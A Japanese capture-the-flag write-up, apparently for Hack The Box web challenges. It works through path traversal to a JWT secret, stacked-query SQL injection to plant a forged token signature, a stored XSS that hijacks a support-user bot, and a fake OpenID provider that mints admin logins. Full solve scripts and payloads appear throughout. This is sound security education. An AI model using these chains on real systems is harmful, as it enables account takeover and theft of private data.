さて、この問題の目的をおさらいします。/readflag
を実行すればフラグが得られるのでしたが、/readflag
で検索してみると controller/application/blueprints/routes.py
に以下のような処理が見つかります。/controller/admin
にアクセスするとフラグが得られるようですが、administrator_middleware
というデコレータが挟まっています。
# … @web.route("/admin", methods=["GET"]) @administrator_middleware def admin(): flag = os.popen("/readflag").read() return render_template("admin.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Admin", flag=flag)
administrator_middleware
の実装は次のとおりです。Cookieに含まれているJWTを検証したうえで、account_type
クレームの内容が administrator
であるか確認しています。また、ログイン時には、JWTの生成とあわせてそのシグネチャ部分のみをデータベースに残しているわけですが、ここでその情報を使ってユーザから与えられたJWTのシグネチャが実在するかも確認しています*16。
# … def administrator_middleware(func): def check_moderator(*args, **kwargs): jwt_cookie = request.cookies.get("jwt") if not jwt_cookie: return redirect("/controller/login") token = verify_jwt(jwt_cookie, current_app.config["JWT_KEY"]) if not token: return redirect("/controller/login") mysql_interface = MysqlInterface(current_app.config) user_id = token.get("user_id") account_type = token.get("account_type") signature = jwt_cookie.split(".")[-1] saved_signature = mysql_interface.fetch_signature(user_id) if not user_id or not account_type or not signature or not saved_signature or signature == "": return redirect("/controller/login") if saved_signature != signature: mysql_interface.delete_signature(user_id) return redirect("/controller/login") if account_type != "administrator": return redirect("/controller/home") request.user_data = token return func(*args, **kwargs) check_moderator.__name__ = func.__name__ return check_moderator # …
JWTの署名に使われる鍵は JWT_KEY
という設定にあるわけですが、これは controller/application/config.py
を参照すると /app/jwt_secret.txt
にあることがわかります。これを読み取ることはできないでしょうか。
import os from dotenv import load_dotenv load_dotenv() class Config(object): JWT_KEY = open("/app/jwt_secret.txt", "r").read() # …
moderatorができることのひとつである、ファームウェアの情報の取得が可能な /firmware
というAPIを見てみます。patch
というパラメータに取得する情報のパスが入っているようですが、ここで application/firmware
より上のディレクトリのファイルを読もうとしていないかのチェックがないため、Path Traversalができそうです。
# … @web.route("/firmware", methods=["GET", "POST"]) @moderator_middleware def firmware(): if request.method == "GET": patches_avaliable = ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"] return render_template("firmware.html", user_data=request.user_data, nav_enabled=True, title="OmniWatch - Firmware", patches=patches_avaliable) if request.method == "POST": patch = request.form.get("patch") if not patch: return response("Missing parameters"), 400 file_data = open(os.path.join(os.getcwd(), "application", "firmware", patch)).read() return file_data, 200 # …
以下のようなJSコードをDevToolsで実行することで、JWTの署名に使われる鍵を手に入れることができました。発行済みのJWTも、この鍵で正しく検証することができました。
fetch('/controller/firmware', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: 'patch=../../../jwt_secret.txt' }).then(r => r.text()).then(r => { console.log(r); });
偽造したJWTの署名をSQLiでデータベースに仕込む
JWTを偽造できるようになりましたが、前述のようにJWTの署名部分がデータベースに保存されていなければ、このJWTは弾かれてしまいます。署名の取得処理をごまかしたり、あるいは偽造したJWTの署名をデータベースに追加することはできないでしょうか。
controller/application/util/database.py
を眺めていると、まずデータベースからの署名の取得処理でSQLiができそうだとわかります。administrator_middleware
では引数である user_id
はJWTの user_id
クレームから取ってきているわけですから、SQLiは可能です。
しかしながら、これは「署名があるか」をチェックするだけではなく、「署名があればその署名を返す」という関数であって、呼び出し元の administrator_middleware
でさらにJWTに含まれる署名とこの関数の返り値である署名が一致しているか確認されています。つまり、QuineのようにそのJWT自身の署名を返すような user_id
を用意する必要があります。できなくはないでしょう*17が、MySQL上で署名処理を実装する必要があり面倒です。
# … def fetch_signature(self, user_id): signature = self.query("SELECT signature FROM signatures WHERE user_id = %s", (user_id,), one=True) return signature["signature"] if signature else False # …
ほかのSQLiできそうな処理を探していると、fetch_device
が見つかりました。デバイスIDを使ってSQLiができるわけですが、ここで query
への引数として multi=True
が与えられています。
# … def fetch_device(self, device_id): query = f"SELECT * FROM devices WHERE device_id = '{device_id}'" device = self.query(query, multi=True)[0][0] return device # …
multi=True
であれば ;
区切りでそれぞれのSQLを実行するような処理になっており、つまり複文に対応しているわけです。ここで SELECT …; INSERT INTO …
というようなSQLになるようペイロードを用意し、偽造したJWTの署名を signatures
テーブルに追加することができそうです。
# … def query(self, query, args=(), one=False, multi=False): cursor = self.connection.cursor() results = None if not multi: cursor.execute(query, args) rv = [dict((cursor.description[idx][0], value) for idx, value in enumerate(row)) for row in cursor.fetchall()] results = (rv[0] if rv else None) if one else rv else: results = [] queries = query.split(";") for statement in queries: cursor.execute(statement, args) rv = [dict((cursor.description[idx][0], value) for idx, value in enumerate(row)) for row in cursor.fetchall()] results.append((rv[0] if rv else None) if one else rv) self.connection.commit() return results # …
ここまでのまとめとして、次のような手順で administrator
になるスクリプトを書きましょう。
account_type
クレームの内容がadministrator
であるJWTを偽造する- moderatorとしてログインし、デバイスIDからのSQLiを利用して、1.で作成したJWTの署名をデータベースに追加する
- 1.で偽造したJWTを使って、
/controller/admin
にアクセスする
import random import urllib.parse import jwt import httpx USERNAME = '61d79eff4ce702126dea69f046d754bc' PASSWORD = '30f21d8fae944d4353b36d59500d9eaa' JWT_KEY = "}7?7MeYm,'A" HOST = 'http://…/' with httpx.Client(base_url=HOST) as client: user_id = random.randint(0, 0x1000000) token = jwt.encode( { 'user_id': user_id, 'username': USERNAME, 'account_type': 'administrator' }, JWT_KEY, algorithm='HS256' ) signature = token.split('.')[-1] client.post('/controller/login', data={ 'username': USERNAME, 'password': PASSWORD }) sqli = urllib.parse.quote( f"1'; INSERT INTO omniwatch.signatures(user_id, signature) VALUES ({user_id}, '{signature}'); #" ) client.get(f'/controller/device/{sqli}') r = client.get('/controller/admin', cookies={ 'jwt': token }) print(r.text)
スクリプトを実行すると、フラグが得られました。
$ python3 solve.py … <div id="loadingSection" class="loading-container"> <img class="loading-img" src="/controller/static/img/icon.png"> </div> <div class="container"> <div class="row mt-5 pt-3"> <div class="cyber-tile-big fg-white bg-dark-purple"> <h3 class="cyber-h ac-cyan blenderpro-font">HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_e2cc650b07e8d1d8602f4e67bdf1c6d8}</h3> </div> </div> </div> <script src="/controller/static/js/main.js"></script> </body> </html>
HTB{h3110_41w4y5_i_s3e_y0u4nd_1m_w4tch1ng_e2cc650b07e8d1d8602f4e67bdf1c6d8}
この問題も我々がfirst bloodを取りました。複雑な過程ではありましたが、account_type
クレームが administrator
であるJWTを偽造して /controller/admin
にアクセスするというゴールを意識しつつ、現在の権限でできることからどう次の段階に進めるかを考えることで段階的に解くことのできる問題でした。
[Web 400] SOS or SSO? (23 solves)
In the dim light of their makeshift base, Ava, the crew's expert hacker, worked feverishly on her terminal. Their target was Vault 54's Overseer's centralized note-taking application, rumored to hold crucial information about the location of a crashed soviet era satellite. This satellite's super-computer technology was essential for running diagnostics on water, soil, and air samples needed for their underground tunnel excavations.
添付ファイル: web_sso_or_sos.zip
問題の概要
ソースコードが与えられています。どのようなサービスか確認するため、Dockerイメージを作成し、コンテナを立ち上げます。立ち上がったWebアプリにアクセスすると、次のようなトップページが表示されました。SSOによるログインも可能なメモ帳アプリのようです。
メモ帳は非ログイン状態でも利用できるようです。
試しにメモを作成してみます。なかなか高機能で、普通のテキスト、太字、そして画像やリンクの挿入までできるようです。
SSOによるログイン画面は次のとおりです。West Oceania(WO), Northern Scandinavia(NS), Central Africa(CA)という3つのIdPに対応しているようです。クリックしてみると、それぞれ https://wo.htb/idp
, https://ns.htb/idp
, https://ca.htb/idp
にリダイレクトされましたが、もちろん実在しません。
ソースコードを確認していきます。まず何がこの問題のゴールかを調べましょう。FLAG
で検索してみると、Dockerイメージのエントリーポイントとなる entrypoint.sh
がヒットしました。環境変数として定義しているようです。ついでに、WO, NS, CAの3つのIdPに関する情報(Client IDやClient Secret)等もランダムに生成しているようです。
cd /app/backend export JWT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export WO_CLIENT_ID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export WO_CLIENT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export NS_CLIENT_ID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export NS_CLIENT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export CA_CLIENT_ID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export CA_CLIENT_SECRET=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) export WO_ADMIN_EMAIL="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1)@wo.htb" export FLAG="HTB{f4k3_fl4g_f0r_t35t1ng}" ./permnotes
環境変数の FLAG
は backend/database/conn.go
というデータベースの初期化に使われるコードで参照されています。先ほどの entrypoint.sh
でランダムに生成した WO_ADMIN_EMAIL
というメールアドレスで、まず admin
というロールを持ったユーザを作成しています。そして、このユーザのみが閲覧できるメモの内容としてフラグを含んでいるようです。この admin
であるユーザを乗っ取り、メモを読み取ることが目的のようです。
// … admin := &Role{ Name: "admin", Level: ADMIN_LEVEL, } // … adminUser := CreateNewUser(os.Getenv("WO_ADMIN_EMAIL"), *admin, wo.ID) // … adminId := uint64(adminUser.ID) noteContent := base64.RawURLEncoding.EncodeToString([]byte(fmt.Sprintf(`[{"type":"p","attr":{},"content":"%s\n"}]`, os.Getenv("FLAG")))) CreateNote("My Secret", noteContent, true, &adminId) // …
このファイルから、このWebアプリの世界観を読み解いていきましょう。admin
というロールのほかにも、どうやら user
や support
というロールも存在するようです。
// … user := &Role{ Name: "user", Level: USER_LEVEL, } support := &Role{ Name: "support", Level: SUPPORT_LEVEL, } // …
user
というロールを持ったユーザは複数いるほか、support
というロールを持ったユーザもいます。support
であるユーザはひとりのみで、admin
と異なり support@wo.htb
という固定のメールアドレスを使っています。
// … CreateNewUser("support@wo.htb", *support, wo.ID) // … CreateNewUser("toby@wo.htb", *user, wo.ID) CreateNewUser("jack@ns.htb", *user, ns.ID) CreateNewUser("jessica@ns.htb", *user, ns.ID) CreateNewUser("tom@ca.htb", *user, ca.ID) // …
ログイン時には3つのIdPが利用できますが、それぞれ詳細は以下のとおりです。このWebアプリでは派閥(faction)という用語が使われているようなので、以降WO, NS, CAについて言及する際は派閥と呼びます。それぞれの派閥について、SSOの実現のために、OpenID Connect(OIDC)関連のパラメータとしてClient ID, Client Secret, エンドポイントの3つが保存されています。
// … wo := CreateNewFaction("WO", "West Oceania") ns := CreateNewFaction("NS", "Northern Scandinavia") ca := CreateNewFaction("CA", "Central Africa") CreateNewOIDCConfig( os.Getenv("WO_CLIENT_ID"), os.Getenv("WO_CLIENT_SECRET"), "https://wo.htb/idp", wo.ID, ) CreateNewOIDCConfig( os.Getenv("NS_CLIENT_ID"), os.Getenv("NS_CLIENT_SECRET"), "https://ns.htb/idp", ns.ID, ) CreateNewOIDCConfig( os.Getenv("CA_CLIENT_ID"), os.Getenv("CA_CLIENT_SECRET"), "https://ca.htb/idp", ca.ID, ) // …
ソースコードを確認する
Dockerコンテナを立ち上げると、以下のようにルーティングの情報が表示されます。なかなか長いですが、それぞれどのような実装になっているかソースコードを確認していきます。
[GIN-debug] GET /auth/sso/factions --> example.com/permnotes/endpoints.GetAvailableFactions (5 handlers) [GIN-debug] POST /auth/sso --> example.com/permnotes/endpoints.FactionSSO (5 handlers) [GIN-debug] GET /auth/sso/callback --> example.com/permnotes/endpoints.FactionSSOCallback (5 handlers) [GIN-debug] GET /auth/logout --> example.com/permnotes/endpoints.Logout (5 handlers) [GIN-debug] GET /api/user --> example.com/permnotes/endpoints.GetCurrentUser (6 handlers) [GIN-debug] GET /api/notes --> example.com/permnotes/endpoints.GetNotes (6 handlers) [GIN-debug] POST /api/note --> example.com/permnotes/endpoints.CreateNote (6 handlers) [GIN-debug] GET /api/note/:noteId --> example.com/permnotes/endpoints.GetNote (6 handlers) [GIN-debug] PATCH /api/note/:noteId --> example.com/permnotes/endpoints.UpdateNote (6 handlers) [GIN-debug] POST /api/note/:noteId/report --> example.com/permnotes/endpoints.ReportNote (6 handlers) [GIN-debug] DELETE /api/note/:noteId --> example.com/permnotes/endpoints.RemoveNote (6 handlers) [GIN-debug] POST /api/support/faction --> example.com/permnotes/endpoints.CreateFaction (7 handlers) [GIN-debug] GET /api/support/faction/:factionId --> example.com/permnotes/endpoints.GetFactionData (7 handlers) [GIN-debug] POST /api/support/faction/:factionId/config --> example.com/permnotes/endpoints.CreateOIDCConfig (7 handlers) [GIN-debug] GET /api/admin/users --> example.com/permnotes/endpoints.GetUsers (7 handlers) [GIN-debug] POST /api/admin/users/:userId/ban --> example.com/permnotes/endpoints.BanUser (7 handlers)
エントリーポイントである main.go
は次のような構造になっています。主に、以下の4つのエンドポイントに大別されます。このうち、後ろの3つについては必ず UserMiddleware
というミドルウェアを用いて、どのようなユーザとしてログインしているか確認しています。特に後ろの2つについては、SupportMiddleware
, AdminMiddleware
というミドルウェアを用いて、適したロールを持つユーザでログインしているか確認しています。それらの実装については後述します。
/auth
: SSO関連のエンドポイント/api/notes
,/api/note
: メモ関連のエンドポイント/api/support
: 派閥の管理関連のエンドポイント。support
以上のロールのユーザのみ使える/api/admin
: ユーザの管理関連のエンドポイント。admin
以上のロールのユーザのみ使える
// … func main() { rand.Seed(time.Now().UnixNano()) database.InitDB() database.PrepareDatabase() r := gin.Default() // Serve the frontend r.Use(static.Serve("/", static.LocalFile("../frontend/dist/", true))) r.NoRoute(func(c *gin.Context) { c.File("../frontend/dist/index.html") }) r.Use(endpoints.CsrfMiddleware) // Authentication authentication := r.Group("/auth") authentication.GET("/sso/factions", endpoints.GetAvailableFactions) authentication.POST("/sso", endpoints.FactionSSO) authentication.GET("/sso/callback", endpoints.FactionSSOCallback) authentication.GET("/logout", endpoints.Logout) // Main api api := r.Group("/api") api.Use(endpoints.UserMiddleware) { api.GET("/user", endpoints.GetCurrentUser) // Notes // … } // Support routes support := api.Group("/support") support.Use(endpoints.SupportMiddleware) { support.POST("/faction", endpoints.CreateFaction) // … } // Admin routes admin := api.Group("/admin") admin.Use(endpoints.AdminMiddleware) { admin.GET("/users", endpoints.GetUsers) admin.POST("/users/:userId/ban", endpoints.BanUser) } r.Run(":8080") }
各エンドポイントの実装について見ていく前に、UserMiddleware
, SupportMiddleware
, AdminMiddleware
の実装を見ていきます。
まず UserMiddleware
ですが、notesToken
というCookieからJWTを持ってきて検証しています。Cookieがセットされていないならされていないで、この gin.Context
においてユーザ情報を意味する user
に nil
を入れ、匿名ユーザとして扱います。JWTが検証できればそのままJWTから取得できたデータを user
にセットしていますが、もし検証に失敗すれば、401を返すようです。
// … func getTokenFromRequest(c *gin.Context) string { token, err := c.Cookie("notesToken") if err != nil { return "" } return token } // … func UserMiddleware(c *gin.Context) { rawToken := getTokenFromRequest(c) if rawToken == "" { c.Set("user", nil) return } claims, err := auth.GetJWTClaims(rawToken) if err != nil { c.JSON(401, gin.H{ "message": err.Error(), }) c.Abort() return } c.Set("user", claims) } // …
SupportMiddleware
は次のとおりです。UserMiddleware
によってJWTが検証された後に、ここでは level
クレームからそのユーザのロールをチェックしています。そして、support
より低いロールであれば弾いています。AdminMiddleware
はこの SUPPORT_LEVEL
が ADMIN_LEVEL
に変わったのみで同じ構造であるため、省略します。
// … func SupportMiddleware(c *gin.Context) { claims, ok := c.Get("user") if claims == nil || !ok { c.JSON(401, gin.H{ "message": "Unauthorized", }) c.Abort() return } if claims.(*auth.JWTClaims).Level < database.SUPPORT_LEVEL { c.JSON(403, gin.H{ "message": "Only support users and above can take such action", }) c.Abort() } } // …
JWTの検証に使われている鍵は、entrypoint.sh
で JWT_SECRET
という環境変数として定義されていました。先ほど確認したように、cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1
というOSコマンドによって推測不可能なものとなっています。
JWT周りの検証をしている backend/auth/jwt.go
を見てみると、以下のような実装になっていました。alg
は HS256
, HS384
, HS512
のいずれかでなければならず、none
等に差し替えても無駄です。
なお、ここでJWTの検証等には github.com/golang-jwt/jwt/v5
というパッケージが使われています。go.mod
によると v5.2.0
ということで、2024年5月24日現在での最新版は v5.2.1
ではあるものの、既知の脆弱性はありません。
// … var privateKey = []byte(os.Getenv("JWT_SECRET")) // … func ValidateJWT(tokenString string) (*jwt.Token, error) { return jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok { return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"]) } return privateKey, nil }) } // …
さて、各エンドポイントを見ていきます。ロールの都合上、今見たところでアクセスできない /api/support
や /api/admin
は置いておいて、また面倒くさい /auth
も置いておいて、まずは理解しやすそうな /api/notes
や /api/note
から見ていきましょう。
メモの保存、取得、削除といった処理はほとんどが「よくある」実装であるため詳細は割愛しますが、このメモ帳アプリに限った特殊な機能として、メモを閲覧できる範囲の指定と、メモの通報があります。
メモの閲覧範囲の制限は次の関数で実現されています。Private
フラグが立っていればそのメモを書いたユーザ自身しか読めなくなります(フラグの含まれるメモがそのひとつです)し、ログイン済みのユーザが作成したメモであれば、同じ派閥のユーザしか読めないようになっています。
// … func noteAccessControl(c *gin.Context, note *database.Note) bool { userClaims := GetUserClaims(c) if note.AuthorID == nil { return true } if userClaims == nil { return note.Author == nil // Only public notes } if note.Private { return *note.AuthorID == userClaims.UserID } if userClaims.Level >= note.Author.Role.Level { return true } return note.Author.FactionID == userClaims.FactionID } // …
メモの通報機能は次のとおりです。指定されたメモのIDをそのまま util.VisitAndExamineNote
に投げています。
// … func ReportNote(c *gin.Context) { note := getNoteFromUrl(c) if note == nil { return } go util.VisitAndExamineNote(int(note.ID)) c.JSON(200, gin.H{ "message": "Thanks, our team is taking a look at this note", }) } // …
util.VisitAndExamineNote
は次のとおりです。通報されたメモに fusion
や missile
のようなNGワードが含まれていればメモを削除するというコードのようです。
ここで chromedp
というパッケージが使われていることに着目します。直接データベースからメモのデータを引っ張ってくればよいところ、わざわざGoogle Chromeを立ち上げ、support
のロールを持つユーザとしてログインした上で、通報されたメモを閲覧しています。もしメモの閲覧ページにXSSがあれば、このユーザを乗っ取ることができるのではないでしょうか。
package util import ( "context" "fmt" "log" "strings" "time" "example.com/permnotes/auth" "example.com/permnotes/database" "github.com/chromedp/cdproto/cdp" "github.com/chromedp/cdproto/network" "github.com/chromedp/chromedp" ) func VisitAndExamineNote(noteId int) { token, err := auth.GenerateToken(database.FindUserWithEmail("support@wo.htb"), 1800) if err != nil { log.Println("Could not get token for support user:", err.Error()) return } bannedWords := []string{"nuclear", "fusion", "fission", "bomb", "missile", "fallout"} ctx, cancel := chromedp.NewContext( context.Background(), ) defer cancel() ctx, cancel = context.WithTimeout(ctx, 15*time.Second) defer cancel() var content string scanContent := chromedp.ActionFunc(func(ctx context.Context) error { for _, word := range bannedWords { if strings.Contains(content, word) { var nodes []*cdp.Node err := chromedp.Nodes("/html/body/div/div[2]/div/div[3]/div[2]", &nodes, chromedp.AtLeast(0)).Do(ctx) if err != nil || len(nodes) == 0 { break } return chromedp.MouseClickNode(nodes[0]).Do(ctx) } } return nil }) err = chromedp.Run(ctx, chromedp.ActionFunc(func(ctx context.Context) error { expr := cdp.TimeSinceEpoch(time.Now().Add(1800 * time.Second)) err := network.SetCookie("notesToken", token). WithExpires(&expr). WithDomain("localhost"). WithPath("/"). WithHTTPOnly(true). WithSecure(false). Do(ctx) if err != nil { log.Println(err.Error()) return err } return nil }), chromedp.Navigate(fmt.Sprintf("http://localhost:8080/app/note/%d", noteId)), chromedp.Text("body", &content), scanContent, ) if err != nil { log.Fatal(err) } }
XSSで support
ユーザを乗っ取る
メモの閲覧ページでXSSを探します。まず適当に hoge
というタイトルでメモを作成したところ、/api/note
へ次のようなJSONが POST
されていることに気づきました。メモの編集時には、/api/note/(メモID)
に対して content
のみが PATCH
メソッドで送信されます。
{ "title": "hoge", "content": "W3sidHlwZSI6InAiLCJhdHRyIjp7fSwiY29udGVudCI6IldyaXRlIHlvdXIgbW9zdCBldmlsIHRob3VnaHRzISJ9XQ==", "private": false }
太字の hoge
を追加した際の content
に含まれている文字列をBase64デコードしてみます。これはHTMLの要素をJSONで表現したものではないでしょうか。type
が要素名、attr
が属性名とその値の組み合わせでしょう。では、それらをJSコードが実装できそうなものに変えるとどうなるでしょうか。
[ { "type": "p", "attr": {}, "content": "Write your most evil thoughts!" }, { "type": "p", "attr": { "style": "font-weight:700" }, "content": "hoge" } ]
import base64 import json import httpx BASE_URL = 'http://localhost:1337' with httpx.Client(base_url=BASE_URL) as client: r = client.post('/api/note', json={ 'title': 'abc', 'private': False, 'content': base64.b64encode(json.dumps([{ 'type': 'iframe', 'attr': {'srcdoc': '''<script>alert(123)</script>'''}, 'content': 'poyo' }]).encode()).decode() }, headers={ 'X-Notes-Csrf-Protection': '1' }) note_id = r.json()['id'] print(f"{BASE_URL}/app/note/{note_id}")
実行して出力されたURLにアクセスすると、以下のようにアラートが表示され、alert(123)
というJSコードが実行されたことを確認できました。
実行するJSコードを (new Image).src = '…'
に変え、/api/note/(メモのID)/report
を叩くことで、先ほどのbotに踏ませます。すると、このbotから指定したURLにアクセスがありました。botの方でもXSSが発火したようです。これで support
であるユーザを乗っ取ることができました。
雑なOpenIDプロバイダを作る
support
であればできることを確認していきます。main.go
をおさらいすると、support
であれば次の3つの派閥関連のエンドポイントを利用することができます。それぞれ、新たな派閥の作成、すでに存在する派閥の情報の取得、そしてその変更が可能です。
// … // Support routes support := api.Group("/support") support.Use(endpoints.SupportMiddleware) { support.POST("/faction", endpoints.CreateFaction) support.GET("/faction/:factionId", endpoints.GetFactionData) support.POST("/faction/:factionId/config", endpoints.CreateOIDCConfig) } // …
このうち、/faction/:factionId/config
を見ていきます。というのも、我々の目的はWOという派閥に存在する admin
であるユーザを乗っ取ることであり、派閥の何らかの設定を変更することでこの乗っ取りに繋げられる可能性があるためです。実装は次のとおりです。IdPのエンドポイントごと書き換えられそうに見えますが、大丈夫でしょうか。
// … func CreateOIDCConfig(c *gin.Context) { faction := getFactionFromUrl(c) if faction == nil { return } var newConfig models.NewOIDCConfigModel err := c.BindJSON(&newConfig) if err != nil { c.JSON(400, gin.H{ "message": "Invalid config content!", }) return } _, err = auth.ValidateProviderEndpoint(newConfig.Endpoint) if err != nil { c.JSON(400, gin.H{ "message": err.Error(), }) return } config := database.FindOIDCConfigWithFaction(faction.ID) if config != nil { config.ClientID = newConfig.ClientID config.ClientSecret = newConfig.ClientSecret config.Endpoint = newConfig.Endpoint database.UpdateOIDCConfig(config) } else { config = database.CreateNewOIDCConfig( newConfig.ClientID, newConfig.ClientSecret, newConfig.Endpoint, faction.ID, ) } c.JSON(200, gin.H{ "id": config.ID, }) } // …
IdPのエンドポイントの書き換えを試してみましょう。先ほど作成したXSS用のスクリプトをいじり、support
のユーザに以下のJSコードを実行させます。うまくいけば、これでWOのエンドポイントを書き換えられるはずです。
const payload = { clientId: 'CjU7krHIHpygjevGP1R2Ym5wDkwbmcMD', clientSecret: '0dTucErK7AbCqR29K3AYoSY7dPWSchXa', endpoint: 'http://example.com:8000' }; fetch('/api/support/faction/1/config', { method: 'POST', body: JSON.stringify(payload), headers: { 'X-NOTES-CSRF-PROTECTION': '1' } })
すると、指定したエンドポイントの /.well-known/openid-configuration
にアクセスがありました。正しいOpenIDプロバイダであるかチェックしているようです。これが正しければそのまま設定が書き換えられるわけですから、ロールが admin
であるユーザの作成を目的として、偽のOpenIDプロバイダを作っていきます。
完成品は次のとおりです。この偽のOpenIDプロバイダの作成の過程は割愛しますが、ありがたいことにこのWebアプリは逐一エラーメッセージを出力してくれるため、たとえばUserInfoエンドポイントが存在しない、JWKSで対応する kid
が存在しない等々のお叱りを参考にしつつ、足りない部分を少しずつ実装していくことで作ることができます。
import base64 import time import uuid import jwt from Crypto.PublicKey import RSA from flask import Flask, redirect, request app = Flask(__name__) BASE = 'http://…' CLIENT_ID = 'CjU7krHIHpygjevGP1R2Ym5wDkwbmcMD' EMAIL = str(uuid.uuid4()) + '@wo.htb' PRIVATE_KEY = open('private.pem').read() # openssl genrsa -out private.pem 1024 PUBLIC_KEY = open('public.pem').read() # openssl rsa -in private.pem -outform PEM -pubout -out public.pem pubkey = RSA.importKey(PUBLIC_KEY) config = { 'issuer': BASE, 'authorization_endpoint': f'{BASE}/authorization', 'token_endpoint': f'{BASE}/token', 'userinfo_endpoint': f'{BASE}/userinfo', 'jwks_uri': f'{BASE}/jwks', } @app.route('/.well-known/openid-configuration') def oidc_config(): return config @app.route('/authorization') def auth(): callback = request.args.get('redirect_uri') state = request.args.get('state') return redirect(f'{callback}?state={state}&code=poyoyon') id_token = jwt.encode({ 'iss': BASE, 'aud': CLIENT_ID, 'exp': int(time.time()) + 86400, 'email': EMAIL, 'role': 'admin' }, PRIVATE_KEY, algorithm='RS256', headers={ 'kid': 'poyoyon' }) token = { 'access_token': 'poyoyon', 'id_token': id_token, 'scope': 'openid profile email', 'expires_in': '86400', 'token_type': 'Bearer' } @app.post('/token') def post_token(): return token jwks = { 'keys': [{ 'kid': 'poyoyon', 'kty': 'RSA', 'alg': 'RS256', 'use': 'sig', 'n': base64.urlsafe_b64encode(pubkey.n.to_bytes(128, byteorder='big')).decode().replace('=', ''), 'e': base64.urlsafe_b64encode(pubkey.e.to_bytes(3, byteorder='big')).decode(), }] } @app.get('/jwks') def get_jwks(): return jwks @app.get('/userinfo') def get_userinfo(): return { 'email': EMAIL, 'role': 'admin' } app.run(host='0.0.0.0', port=8000)
この偽OpenIDプロバイダを起動した状態で、/api/support/faction/1/config
を叩いてWOのIdPのエンドポイントを変更するXSSをbotに踏ませます。そして、/login
からWOを選んでログインします。これで、admin
になることができました。
最初の admin
を乗っ取る
さて、後はフラグを含むメモを作成したユーザを乗っ取るだけです。main.go
によれば、admin
というロールであれば /api/admin/users
からユーザの一覧が取得できるのでした。
// … // Admin routes admin := api.Group("/admin") admin.Use(endpoints.AdminMiddleware) { admin.GET("/users", endpoints.GetUsers) admin.POST("/users/:userId/ban", endpoints.BanUser) } // …
アクセスしてみると、確かにユーザの一覧が取得できています。role
が admin
であるユーザのうち、最も若い OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb
がフラグを持っているユーザでしょう。
[ { "id": 1, "email": "support@wo.htb", "role": "support", "faction": "WO" }, { "id": 2, "email": "OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb", "role": "admin", "faction": "WO" }, … { "id": 7, "email": "bb30922e-43d8-4d2e-85a6-7514df5055f0@wo.htb", "role": "admin", "faction": "WO" } ]
先ほど作成した偽OpenIDプロバイダの EMAIL
を OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb
に置き換え、再度同じ手順でログインします。これで、OBMXH0H7xvgFD33sQNrjrrrs8RgAec3o@wo.htb
としてログインすることができました。メモの一覧ページに移り、My Secret
というタイトルのメモを確認すると、フラグが得られました。
HTB{n0th1ng_l4sts_4ever_y0u_c4n_alw4ys_g3t_bann3d_4abdce10769e49ce20f18ed3fff0f443}
「SSO」という単語から嫌な雰囲気を感じ取り、後回しにしてほかの問題に取り組んでいましたが、覚悟を決めてソースコードを読んで情報を整理していくと、意外と簡単に解けた問題でした。
作問者が想定していた解法を確認してみると、BANされたユーザのチェック時にSQLiがあり、ここで複文によってすべてのメモの private
フラグを折ることができるということでした。私はまず適当なメールアドレスの admin
を作成して最初から存在している admin
のメールアドレスを特定し、そしてそれを乗っ取るという手順で解いたわけですが、なるほど。
[Web 400] Magicom (24 solves)
In need of specialized equipment for their mission, the crew ventures into the seedy underbelly of the black market. With their negotiation skills put to the test, they strike a deal with a shady supplier, exchanging valuable resources for the necessary tools and gear.
添付ファイル: web_magicom.zip
問題の概要
ソースコードが与えられています。まずこの問題の目的を確認していきます。Dockerfile
には次のようなコマンドがあり、/readflag
というバイナリを実行する必要のあることがわかります。
# Setup readflag COPY config/readflag.c / RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c
どのようなサービスか確認するため、Dockerイメージを作成し、コンテナを立ち上げます。どうやらこれは「Fallout: New Vegas」に登場する武器*18を陳列しているプラットフォームのようです。
自分の商品を追加することもできます。商品名、その説明、そして画像の添付も可能となっています。非常にシンプルなWebアプリで、商品一覧の確認と商品の追加の2つの機能しかありません。
ソースコードを見ていきます。index.php
は次のとおりです。まず Database
というクラスをどこからか持ってきてインスタンスを作成し、データベースに接続しています。次に Router
というクラスを作成し、ルーティングの設定を行っているようです。確かに、商品の追加ページは /addProduct
というパスでしたし、商品一覧ページは /product
というパスでした。少しだけLaravelのような雰囲気があります。
Database
と Router
はいずれもビルトインでは存在しないクラスですし、このPHPファイルではなにも include
なり require
なりがされていませんが、これらのクラスへの参照時には spl_autoload_register
で登録された関数でその名前の解決が行われます。
spl_autoload_register
で登録されている関数を見てみましたが、ファイルが存在しているかをチェックするのみで、それ以外は特に検証もなく、クラス名をもとにしたファイルを require_file
でPHPコードとして読み込んでいます。Insecure Deserializationができれば、Local File Inclusion(LFI)に持ち込めそうな気がします。
